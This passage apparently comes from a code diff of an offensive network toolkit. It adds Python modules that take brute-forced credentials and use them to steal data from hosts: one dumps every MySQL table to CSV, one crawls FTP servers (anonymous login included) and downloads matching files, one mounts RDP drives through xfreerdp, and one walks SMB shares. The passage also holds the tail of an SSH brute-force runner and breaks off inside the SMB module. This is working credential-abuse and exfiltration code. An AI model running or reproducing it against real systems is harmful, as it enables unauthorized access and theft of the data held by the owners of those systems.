df.drop_duplicates(inplace=True)
|
||||||
|
df.to_csv(self.sshfile, index=False)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
ssh_bruteforce = SSHBruteforce(shared_data)
|
||||||
|
logger.info("Démarrage de l'attaque SSH... sur le port 22")
|
||||||
|
|
||||||
|
# Load the netkb file and get the IPs to scan
|
||||||
|
ips_to_scan = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute the brute force on each IP
|
||||||
|
for row in ips_to_scan:
|
||||||
|
ip = row["IPs"]
|
||||||
|
logger.info(f"Executing SSHBruteforce on {ip}...")
|
||||||
|
ssh_bruteforce.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
logger.info(f"Nombre total de succès: {len(ssh_bruteforce.ssh_connector.results)}")
|
||||||
|
exit(len(ssh_bruteforce.ssh_connector.results))
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Erreur: {e}")
|
||||||
189
actions/steal_data_sql.py
Normal file
@@ -0,0 +1,189 @@
|
|||||||
|
import os
|
||||||
|
import pandas as pd
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from sqlalchemy import create_engine
|
||||||
|
from rich.console import Console
|
||||||
|
from threading import Timer
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_data_sql.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealDataSQL"
|
||||||
|
b_module = "steal_data_sql"
|
||||||
|
b_status = "steal_data_sql"
|
||||||
|
b_parent = "SQLBruteforce"
|
||||||
|
b_port = 3306
|
||||||
|
|
||||||
|
class StealDataSQL:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing data from SQL servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.sql_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealDataSQL initialized.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_sql(self, ip, username, password, database=None):
|
||||||
|
"""
|
||||||
|
Establish a MySQL connection using SQLAlchemy.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Si aucune base n'est spécifiée, on se connecte sans base
|
||||||
|
db_part = f"/{database}" if database else ""
|
||||||
|
connection_str = f"mysql+pymysql://{username}:{password}@{ip}:3306{db_part}"
|
||||||
|
engine = create_engine(connection_str, connect_args={"connect_timeout": 10})
|
||||||
|
self.sql_connected = True
|
||||||
|
logger.info(f"Connected to {ip} via SQL with username {username}" + (f" to database {database}" if database else ""))
|
||||||
|
return engine
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"SQL connection error for {ip} with user '{username}' and password '{password}'" + (f" to database {database}" if database else "") + f": {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_tables(self, engine):
|
||||||
|
"""
|
||||||
|
Find all tables in all databases, excluding system databases.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Table search interrupted due to orchestrator exit.")
|
||||||
|
return []
|
||||||
|
query = """
|
||||||
|
SELECT TABLE_NAME, TABLE_SCHEMA
|
||||||
|
FROM INFORMATION_SCHEMA.TABLES
|
||||||
|
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
|
||||||
|
AND TABLE_TYPE = 'BASE TABLE'
|
||||||
|
"""
|
||||||
|
df = pd.read_sql(query, engine)
|
||||||
|
tables = df[['TABLE_NAME', 'TABLE_SCHEMA']].values.tolist()
|
||||||
|
logger.info(f"Found {len(tables)} tables across all databases")
|
||||||
|
return tables
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error finding tables: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def steal_data(self, engine, table, schema, local_dir):
|
||||||
|
"""
|
||||||
|
Download data from the table in the database to a local file.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Data stealing process interrupted due to orchestrator exit.")
|
||||||
|
return
|
||||||
|
query = f"SELECT * FROM {schema}.{table}"
|
||||||
|
df = pd.read_sql(query, engine)
|
||||||
|
local_file_path = os.path.join(local_dir, f"{schema}_{table}.csv")
|
||||||
|
df.to_csv(local_file_path, index=False)
|
||||||
|
logger.success(f"Downloaded data from table {schema}.{table} to {local_file_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error downloading data from table {schema}.{table}: {e}")
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal data from the remote SQL server.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''):
|
||||||
|
self.shared_data.bjornorch_status = "StealDataSQL"
|
||||||
|
time.sleep(5)
|
||||||
|
logger.info(f"Stealing data from {ip}:{port}...")
|
||||||
|
|
||||||
|
sqlfile = self.shared_data.sqlfile
|
||||||
|
credentials = []
|
||||||
|
if os.path.exists(sqlfile):
|
||||||
|
df = pd.read_csv(sqlfile)
|
||||||
|
# Filtrer les credentials pour l'IP spécifique
|
||||||
|
ip_credentials = df[df['IP Address'] == ip]
|
||||||
|
# Créer des tuples (username, password, database)
|
||||||
|
credentials = [(row['User'], row['Password'], row['Database'])
|
||||||
|
for _, row in ip_credentials.iterrows()]
|
||||||
|
logger.info(f"Found {len(credentials)} credential combinations for {ip}")
|
||||||
|
|
||||||
|
if not credentials:
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
if not self.sql_connected:
|
||||||
|
logger.error(f"No SQL connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout)
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
success = False
|
||||||
|
for username, password, database in credentials:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Steal data execution interrupted.")
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for {ip} on database {database}")
|
||||||
|
# D'abord se connecter sans base pour vérifier les permissions globales
|
||||||
|
engine = self.connect_sql(ip, username, password)
|
||||||
|
if engine:
|
||||||
|
tables = self.find_tables(engine)
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"sql/{mac}_{ip}/{database}")
|
||||||
|
os.makedirs(local_dir, exist_ok=True)
|
||||||
|
|
||||||
|
if tables:
|
||||||
|
for table, schema in tables:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
break
|
||||||
|
# Se connecter à la base spécifique pour le vol de données
|
||||||
|
db_engine = self.connect_sql(ip, username, password, schema)
|
||||||
|
if db_engine:
|
||||||
|
self.steal_data(db_engine, table, schema, local_dir)
|
||||||
|
success = True
|
||||||
|
counttables = len(tables)
|
||||||
|
logger.success(f"Successfully stolen data from {counttables} tables on {ip}:{port}")
|
||||||
|
|
||||||
|
if success:
|
||||||
|
timer.cancel()
|
||||||
|
return 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing data from {ip} with user '{username}' on database {database}: {e}")
|
||||||
|
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any data from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
return 'success'
|
||||||
|
|
||||||
|
else:
|
||||||
|
logger.info(f"Skipping {ip} as it was not successfully bruteforced")
|
||||||
|
return 'skipped'
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def b_parent_action(self, row):
|
||||||
|
"""
|
||||||
|
Get the parent action status from the row.
|
||||||
|
"""
|
||||||
|
return row.get(b_parent, {}).get(b_status, '')
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
shared_data = SharedData()
|
||||||
|
try:
|
||||||
|
steal_data_sql = StealDataSQL(shared_data)
|
||||||
|
logger.info("[bold green]Starting SQL data extraction process[/bold green]")
|
||||||
|
|
||||||
|
# Load the IPs to process from shared data
|
||||||
|
ips_to_process = shared_data.read_data()
|
||||||
|
|
||||||
|
# Execute data theft on each IP
|
||||||
|
for row in ips_to_process:
|
||||||
|
ip = row["IPs"]
|
||||||
|
steal_data_sql.execute(ip, b_port, row, b_status)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
198
actions/steal_files_ftp.py
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
"""
|
||||||
|
steal_files_ftp.py - This script connects to FTP servers using provided credentials or anonymous access, searches for specific files, and downloads them to a local directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from rich.console import Console
|
||||||
|
from threading import Timer
|
||||||
|
from ftplib import FTP
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealFilesFTP"
|
||||||
|
b_module = "steal_files_ftp"
|
||||||
|
b_status = "steal_files_ftp"
|
||||||
|
b_parent = "FTPBruteforce"
|
||||||
|
b_port = 21
|
||||||
|
|
||||||
|
class StealFilesFTP:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing files from FTP servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.ftp_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealFilesFTP initialized")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_ftp(self, ip, username, password):
|
||||||
|
"""
|
||||||
|
Establish an FTP connection.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
ftp = FTP()
|
||||||
|
ftp.connect(ip, 21)
|
||||||
|
ftp.login(user=username, passwd=password)
|
||||||
|
self.ftp_connected = True
|
||||||
|
logger.info(f"Connected to {ip} via FTP with username {username}")
|
||||||
|
return ftp
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"FTP connection error for {ip} with user '{username}' and password '{password}': {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_files(self, ftp, dir_path):
|
||||||
|
"""
|
||||||
|
Find files in the FTP share based on the configuration criteria.
|
||||||
|
"""
|
||||||
|
files = []
|
||||||
|
try:
|
||||||
|
ftp.cwd(dir_path)
|
||||||
|
items = ftp.nlst()
|
||||||
|
for item in items:
|
||||||
|
try:
|
||||||
|
ftp.cwd(item)
|
||||||
|
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
|
||||||
|
ftp.cwd('..')
|
||||||
|
except Exception:
|
||||||
|
if any(item.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||||
|
any(file_name in item for file_name in self.shared_data.steal_file_names):
|
||||||
|
files.append(os.path.join(dir_path, item))
|
||||||
|
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error accessing path {dir_path} on FTP: {e}")
|
||||||
|
return files
|
||||||
|
|
||||||
|
def steal_file(self, ftp, remote_file, local_dir):
|
||||||
|
"""
|
||||||
|
Download a file from the FTP server to the local directory.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
||||||
|
local_file_dir = os.path.dirname(local_file_path)
|
||||||
|
os.makedirs(local_file_dir, exist_ok=True)
|
||||||
|
with open(local_file_path, 'wb') as f:
|
||||||
|
ftp.retrbinary(f'RETR {remote_file}', f.write)
|
||||||
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error downloading file {remote_file} from FTP: {e}")
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal files from the FTP server.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||||
|
self.shared_data.bjornorch_status = "StealFilesFTP"
|
||||||
|
logger.info(f"Stealing files from {ip}:{port}...")
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
# Get FTP credentials from the cracked passwords file
|
||||||
|
ftpfile = self.shared_data.ftpfile
|
||||||
|
credentials = []
|
||||||
|
if os.path.exists(ftpfile):
|
||||||
|
with open(ftpfile, 'r') as f:
|
||||||
|
lines = f.readlines()[1:] # Skip the header
|
||||||
|
for line in lines:
|
||||||
|
parts = line.strip().split(',')
|
||||||
|
if parts[1] == ip:
|
||||||
|
credentials.append((parts[3], parts[4])) # Username and password
|
||||||
|
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
||||||
|
|
||||||
|
def try_anonymous_access():
|
||||||
|
"""
|
||||||
|
Try to access the FTP server without credentials.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
ftp = self.connect_ftp(ip, 'anonymous', '')
|
||||||
|
return ftp
|
||||||
|
except Exception as e:
|
||||||
|
logger.info(f"Anonymous access to {ip} failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
if not credentials and not try_anonymous_access():
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
"""
|
||||||
|
Timeout function to stop the execution if no FTP connection is established.
|
||||||
|
"""
|
||||||
|
if not self.ftp_connected:
|
||||||
|
logger.error(f"No FTP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout) # 4 minutes timeout
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
# Attempt anonymous access first
|
||||||
|
success = False
|
||||||
|
ftp = try_anonymous_access()
|
||||||
|
if ftp:
|
||||||
|
remote_files = self.find_files(ftp, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/anonymous")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
self.steal_file(ftp, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
|
||||||
|
ftp.quit()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
|
||||||
|
# Attempt to steal files using each credential if anonymous access fails
|
||||||
|
for username, password in credentials:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||||
|
ftp = self.connect_ftp(ip, username, password)
|
||||||
|
if ftp:
|
||||||
|
remote_files = self.find_files(ftp, '/')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/{username}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution:
|
||||||
|
break
|
||||||
|
self.steal_file(ftp, remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} with user '{username}'")
|
||||||
|
ftp.quit()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
break # Exit the loop as we have found valid credentials
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
|
||||||
|
|
||||||
|
# Ensure the action is marked as failed if no files were found
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
return 'success'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
shared_data = SharedData()
|
||||||
|
steal_files_ftp = StealFilesFTP(shared_data)
|
||||||
|
# Add test or demonstration calls here
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
184
actions/steal_files_rdp.py
Normal file
@@ -0,0 +1,184 @@
|
|||||||
|
"""
|
||||||
|
steal_files_rdp.py - This script connects to remote RDP servers using provided credentials, searches for specific files, and downloads them to a local directory.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from threading import Timer
|
||||||
|
from rich.console import Console
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_files_rdp.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealFilesRDP"
|
||||||
|
b_module = "steal_files_rdp"
|
||||||
|
b_status = "steal_files_rdp"
|
||||||
|
b_parent = "RDPBruteforce"
|
||||||
|
b_port = 3389
|
||||||
|
|
||||||
|
class StealFilesRDP:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing files from RDP servers.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.rdp_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealFilesRDP initialized")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_rdp(self, ip, username, password):
|
||||||
|
"""
|
||||||
|
Establish an RDP connection.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("RDP connection attempt interrupted due to orchestrator exit.")
|
||||||
|
return None
|
||||||
|
command = f"xfreerdp /v:{ip} /u:{username} /p:{password} /drive:shared,/mnt/shared"
|
||||||
|
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
stdout, stderr = process.communicate()
|
||||||
|
if process.returncode == 0:
|
||||||
|
logger.info(f"Connected to {ip} via RDP with username {username}")
|
||||||
|
self.rdp_connected = True
|
||||||
|
return process
|
||||||
|
else:
|
||||||
|
logger.error(f"Error connecting to RDP on {ip} with username {username}: {stderr.decode()}")
|
||||||
|
return None
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error connecting to RDP on {ip} with username {username}: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_files(self, client, dir_path):
|
||||||
|
"""
|
||||||
|
Find files in the remote directory based on the configuration criteria.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File search interrupted due to orchestrator exit.")
|
||||||
|
return []
|
||||||
|
# Assuming that files are mounted and can be accessed via SMB or locally
|
||||||
|
files = []
|
||||||
|
for root, dirs, filenames in os.walk(dir_path):
|
||||||
|
for file in filenames:
|
||||||
|
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||||
|
any(file_name in file for file_name in self.shared_data.steal_file_names):
|
||||||
|
files.append(os.path.join(root, file))
|
||||||
|
logger.info(f"Found {len(files)} matching files in {dir_path}")
|
||||||
|
return files
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error finding files in directory {dir_path}: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def steal_file(self, remote_file, local_dir):
|
||||||
|
"""
|
||||||
|
Download a file from the remote server to the local directory.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File stealing process interrupted due to orchestrator exit.")
|
||||||
|
return
|
||||||
|
local_file_path = os.path.join(local_dir, os.path.basename(remote_file))
|
||||||
|
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||||
|
command = f"cp {remote_file} {local_file_path}"
|
||||||
|
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
stdout, stderr = process.communicate()
|
||||||
|
if process.returncode == 0:
|
||||||
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||||
|
else:
|
||||||
|
logger.error(f"Error downloading file {remote_file}: {stderr.decode()}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing file {remote_file}: {e}")
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal files from the remote server using RDP.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||||
|
self.shared_data.bjornorch_status = "StealFilesRDP"
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
logger.info(f"Stealing files from {ip}:{port}...")
|
||||||
|
|
||||||
|
# Get RDP credentials from the cracked passwords file
|
||||||
|
rdpfile = self.shared_data.rdpfile
|
||||||
|
credentials = []
|
||||||
|
if os.path.exists(rdpfile):
|
||||||
|
with open(rdpfile, 'r') as f:
|
||||||
|
lines = f.readlines()[1:] # Skip the header
|
||||||
|
for line in lines:
|
||||||
|
parts = line.strip().split(',')
|
||||||
|
if parts[1] == ip:
|
||||||
|
credentials.append((parts[3], parts[4]))
|
||||||
|
logger.info(f"Found {len(credentials)} credentials for {ip}")
|
||||||
|
|
||||||
|
if not credentials:
|
||||||
|
logger.error(f"No valid credentials found for {ip}. Skipping...")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
def timeout():
|
||||||
|
"""
|
||||||
|
Timeout function to stop the execution if no RDP connection is established.
|
||||||
|
"""
|
||||||
|
if not self.rdp_connected:
|
||||||
|
logger.error(f"No RDP connection established within 4 minutes for {ip}. Marking as failed.")
|
||||||
|
self.stop_execution = True
|
||||||
|
|
||||||
|
timer = Timer(240, timeout) # 4 minutes timeout
|
||||||
|
timer.start()
|
||||||
|
|
||||||
|
# Attempt to steal files using each credential
|
||||||
|
success = False
|
||||||
|
for username, password in credentials:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("Steal files execution interrupted due to orchestrator exit.")
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||||
|
client = self.connect_rdp(ip, username, password)
|
||||||
|
if client:
|
||||||
|
remote_files = self.find_files(client, '/mnt/shared')
|
||||||
|
mac = row['MAC Address']
|
||||||
|
local_dir = os.path.join(self.shared_data.datastolendir, f"rdp/{mac}_{ip}")
|
||||||
|
if remote_files:
|
||||||
|
for remote_file in remote_files:
|
||||||
|
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||||
|
logger.info("File stealing process interrupted due to orchestrator exit.")
|
||||||
|
break
|
||||||
|
self.steal_file(remote_file, local_dir)
|
||||||
|
success = True
|
||||||
|
countfiles = len(remote_files)
|
||||||
|
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
|
||||||
|
client.terminate()
|
||||||
|
if success:
|
||||||
|
timer.cancel() # Cancel the timer if the operation is successful
|
||||||
|
return 'success' # Return success if the operation is successful
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error stealing files from {ip} with username {username}: {e}")
|
||||||
|
|
||||||
|
# Ensure the action is marked as failed if no files were found
|
||||||
|
if not success:
|
||||||
|
logger.error(f"Failed to steal any files from {ip}:{port}")
|
||||||
|
return 'failed'
|
||||||
|
else:
|
||||||
|
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
|
||||||
|
return 'failed'
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
|
return 'failed'
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
shared_data = SharedData()
|
||||||
|
steal_files_rdp = StealFilesRDP(shared_data)
|
||||||
|
# Add test or demonstration calls here
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error in main execution: {e}")
|
||||||
223
actions/steal_files_smb.py
Normal file
@@ -0,0 +1,223 @@
|
|||||||
|
import os
|
||||||
|
import logging
|
||||||
|
from rich.console import Console
|
||||||
|
from threading import Timer
|
||||||
|
import time
|
||||||
|
from smb.SMBConnection import SMBConnection
|
||||||
|
from smb.base import SharedFile
|
||||||
|
from shared import SharedData
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
# Configure the logger
|
||||||
|
logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Define the necessary global variables
|
||||||
|
b_class = "StealFilesSMB"
|
||||||
|
b_module = "steal_files_smb"
|
||||||
|
b_status = "steal_files_smb"
|
||||||
|
b_parent = "SMBBruteforce"
|
||||||
|
b_port = 445
|
||||||
|
|
||||||
|
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$', 'Sharename', '---------', 'SMB1'}
|
||||||
|
|
||||||
|
class StealFilesSMB:
|
||||||
|
"""
|
||||||
|
Class to handle the process of stealing files from SMB shares.
|
||||||
|
"""
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
try:
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.smb_connected = False
|
||||||
|
self.stop_execution = False
|
||||||
|
logger.info("StealFilesSMB initialized")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error during initialization: {e}")
|
||||||
|
|
||||||
|
def connect_smb(self, ip, username, password):
|
||||||
|
"""
|
||||||
|
Establish an SMB connection.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
|
||||||
|
conn.connect(ip, 445)
|
||||||
|
logger.info(f"Connected to {ip} via SMB with username {username}")
|
||||||
|
self.smb_connected = True
|
||||||
|
return conn
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"SMB connection error for {ip} with user '{username}' and password '{password}': {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def find_files(self, conn, share_name, dir_path):
|
||||||
|
"""
|
||||||
|
Find files in the SMB share based on the configuration criteria.
|
||||||
|
"""
|
||||||
|
files = []
|
||||||
|
try:
|
||||||
|
for file in conn.listPath(share_name, dir_path):
|
||||||
|
if file.isDirectory:
|
||||||
|
if file.filename not in ['.', '..']:
|
||||||
|
files.extend(self.find_files(conn, share_name, os.path.join(dir_path, file.filename)))
|
||||||
|
else:
|
||||||
|
if any(file.filename.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
|
||||||
|
any(file_name in file.filename for file_name in self.shared_data.steal_file_names):
|
||||||
|
files.append(os.path.join(dir_path, file.filename))
|
||||||
|
logger.info(f"Found {len(files)} matching files in {dir_path} on share {share_name}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error accessing path {dir_path} in share {share_name}: {e}")
|
||||||
|
return files
|
||||||
|
|
||||||
|
def steal_file(self, conn, share_name, remote_file, local_dir):
|
||||||
|
"""
|
||||||
|
Download a file from the SMB share to the local directory.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
|
||||||
|
local_file_dir = os.path.dirname(local_file_path)
|
||||||
|
os.makedirs(local_file_dir, exist_ok=True)
|
||||||
|
with open(local_file_path, 'wb') as f:
|
||||||
|
conn.retrieveFile(share_name, remote_file, f)
|
||||||
|
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error downloading file {remote_file} from share {share_name}: {e}")
|
||||||
|
|
||||||
|
def list_shares(self, conn):
|
||||||
|
"""
|
||||||
|
List shares using the SMBConnection object.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
shares = conn.listShares()
|
||||||
|
valid_shares = [share for share in shares if share.name not in IGNORED_SHARES and not share.isSpecial and not share.isTemporary]
|
||||||
|
logger.info(f"Found valid shares: {[share.name for share in valid_shares]}")
|
||||||
|
return valid_shares
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Error listing shares: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def execute(self, ip, port, row, status_key):
|
||||||
|
"""
|
||||||
|
Steal files from the SMB share.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
|
||||||
|
self.shared_data.bjornorch_status = "StealFilesSMB"
|
||||||
|
logger.info(f"Stealing files from {ip}:{port}...")
|
||||||
|
# Wait a bit because it's too fast to see the status change
|
||||||
|
time.sleep(5)
|
||||||
|
